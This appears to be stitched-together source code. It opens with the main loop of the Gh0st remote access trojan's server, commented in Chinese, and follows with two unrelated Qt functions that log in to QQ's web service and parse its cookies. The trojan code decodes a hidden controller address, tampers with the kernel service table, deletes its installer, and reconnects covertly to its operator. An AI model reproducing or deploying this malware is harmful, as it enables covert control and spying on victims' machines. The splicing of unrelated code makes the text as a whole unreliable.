DWORD WINAPI main(char *lpServiceName) #endif { #ifdef _CONSOLE if (argc < 3) { printf("Usage:\n %s <Host> <Port>\n", argv[0]); return -1; } #endif // lpServiceName,在ServiceMain返回后就没有了 char strServiceName[256]; char strKillEvent[50]; HANDLE hInstallMutex = NULL; #ifdef _DLL char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA"); if (lpURL == NULL) { return -1; } ////////////////////////////////////////////////////////////////////////// // Set Window Station HWINSTA hOldStation = GetProcessWindowStation(); HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if (hWinSta != NULL) SetProcessWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// if (CKeyboardManager::g_hInstance != NULL) { SetUnhandledExceptionFilter(bad_exception); ResetSSDT(); lstrcpy(strServiceName, lpServiceName); wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 hInstallMutex = CreateMutex(NULL, true, lpURL); ReConfigService(strServiceName); // 删除安装文件 DeleteInstallFile(lpServiceName); } // http://hi.baidu.com/zxhouse/blog/item/dc651c90fc7a398fa977a484.html #endif // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人 SetErrorMode( SEM_FAILCRITICALERRORS); char *lpszHost = NULL; DWORD dwPort = 80; char *lpszProxyHost = NULL; DWORD dwProxyPort = 0; char *lpszProxyUser = NULL; char *lpszProxyPass = NULL; HANDLE hEvent = NULL; CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接 while (1) { // 如果不是心跳超时,不用再sleep两分钟 if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { // 2分钟断线重连, 为了尽快响应killevent for (int i = 0; i < 2000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; break; } // 改一下 Sleep(60); } } #ifdef _DLL // 上线间隔为2分, 前6个'A'是标志 if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, &dwProxyPort, &lpszProxyUser, &lpszProxyPass)) { bBreakError = GETLOGINFO_ERROR; continue; } #else lpszHost = argv[1]; dwPort = atoi(argv[2]); #endif if (lpszProxyHost != NULL) socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); else socketClient.setGlobalProxyOption(); DWORD dwTickCount = GetTickCount(); if (!socketClient.Connect(lpszHost, dwPort)) { bBreakError = CONNECT_ERROR; continue; } // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } #ifdef _DLL ////////////////////////////////////////////////////////////////////////// // Restor WindowStation and Desktop // 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏 // SetProcessWindowStation(hOldStation); // CloseWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// #endif SetErrorMode(0); ReleaseMutex(hInstallMutex); CloseHandle(hInstallMutex); }
void QQLoginCore::login(QString id, QString pwd, ContactStatus status) { id_ = id; pwd_ = pwd; status_ = status; QString login_url = "/login?u=" + id + "&p=" + getPwMd5(pwd) + "&verifycode="+vc_+ "&webqq_type=10&remember_uin=0&login2qq=1&aid=1003903&u1=http%3A%2F%2Fweb.qq.com%2Floginproxy.html%3Flogin2qq%3D1%26webqq_type%3D10&h=1&ptredirect=0&ptlang=2052&from_ui=1&pttype=1&dumy=&fp=loginerroralert&action=2-6-22950&mibao_css=m_webqq&t=1&g=1"; Request req; req.create(kGet, login_url); req.addHeaderItem("Host", "ptlogin2.qq.com"); req.addHeaderItem("Cookie", CaptchaInfo::instance()->cookie()); req.addHeaderItem("Referer", "http://ui.ptlogin2.qq.com/cgi-bin/login?target=self&style=5&mibao_css=m_webqq&appid=1003903&enable_qlogin=0&no_verifyimg=1&s_url=http%3A%2F%2Fweb.qq.com%2Floginproxy.html&f_url=loginerroralert&strong_login=1&login_state=10&t=20120504001"); fd_->connectToHost("ptlogin2.qq.com", 80); fd_->write(req.toByteArray()); QByteArray result; while (result.indexOf(");") == -1 && fd_->waitForReadyRead(5000)) { result.append(fd_->readAll()); } fd_->close(); qDebug() << "Login Result:\n" << result << '\n' << endl; QString ptwebqq; char result_state = getResultState(result); switch (result_state) { case '0': break; case '3': { emit sig_loginDone(kIdOrPwdWrong); return; } case '4': { emit sig_loginDone(kAuthcodeWrong); return; } default: return; } int idx = 0; while ((idx = result.indexOf("Set-Cookie:", idx)) != -1) { idx += strlen("Set-Cookie: "); int value_idx = result.indexOf("=", idx); int fin_value_idx = result.indexOf(";", idx); if (fin_value_idx == (value_idx + 1)) continue; QString key = result.mid(idx, value_idx - idx); QString value = result.mid(value_idx+1, fin_value_idx - value_idx - 1); if (key == "ptwebqq") { ptwebqq = value; CaptchaInfo::instance()->setPtwebqq(ptwebqq); } if (key == "skey") CaptchaInfo::instance()->setSkey(value); CaptchaInfo::instance()->setCookie(CaptchaInfo::instance()->cookie() + key + "=" + value + ";"); } getLoginInfo(ptwebqq); }
void QQLogin::loginRead() { fd_->disconnectFromHost(); QString ptwebqq; QByteArray result = fd_->readAll(); char result_state = getResultState(result); switch (result_state) { case '0': break; case '3': { QMessageBox box(this); box.setIcon(QMessageBox::Critical); box.setText(tr("Password validation error!!")); box.setInformativeText(tr("The password is not correct, the reason may be:\nForgot password; Not case sensitive; Not open small keyboard.")); box.exec(); return; } case '4': { QMessageBox box(this); box.setIcon(QMessageBox::Critical); box.setText(tr("Authcode error!!")); box.setInformativeText(tr("The Authcode is not correct! Please relogin!")); box.exec(); return; } default: return; } int idx = 0; while ((idx = result.indexOf("Set-Cookie:", idx)) != -1) { idx += strlen("Set-Cookie: "); int value_idx = result.indexOf("=", idx); int fin_value_idx = result.indexOf(";", idx); if (fin_value_idx == (value_idx + 1)) continue; QString key = result.mid(idx, value_idx - idx); QString value = result.mid(value_idx+1, fin_value_idx - value_idx - 1); if (key == "ptwebqq") ptwebqq = value; if (key == "skey") captcha_info_.skey_ = value; captcha_info_.cookie_ = captcha_info_.cookie_ + key + "=" + value + ";"; } disconnect(fd_, SIGNAL(readyRead()), this, SLOT(loginRead())); getLoginInfo(ptwebqq); }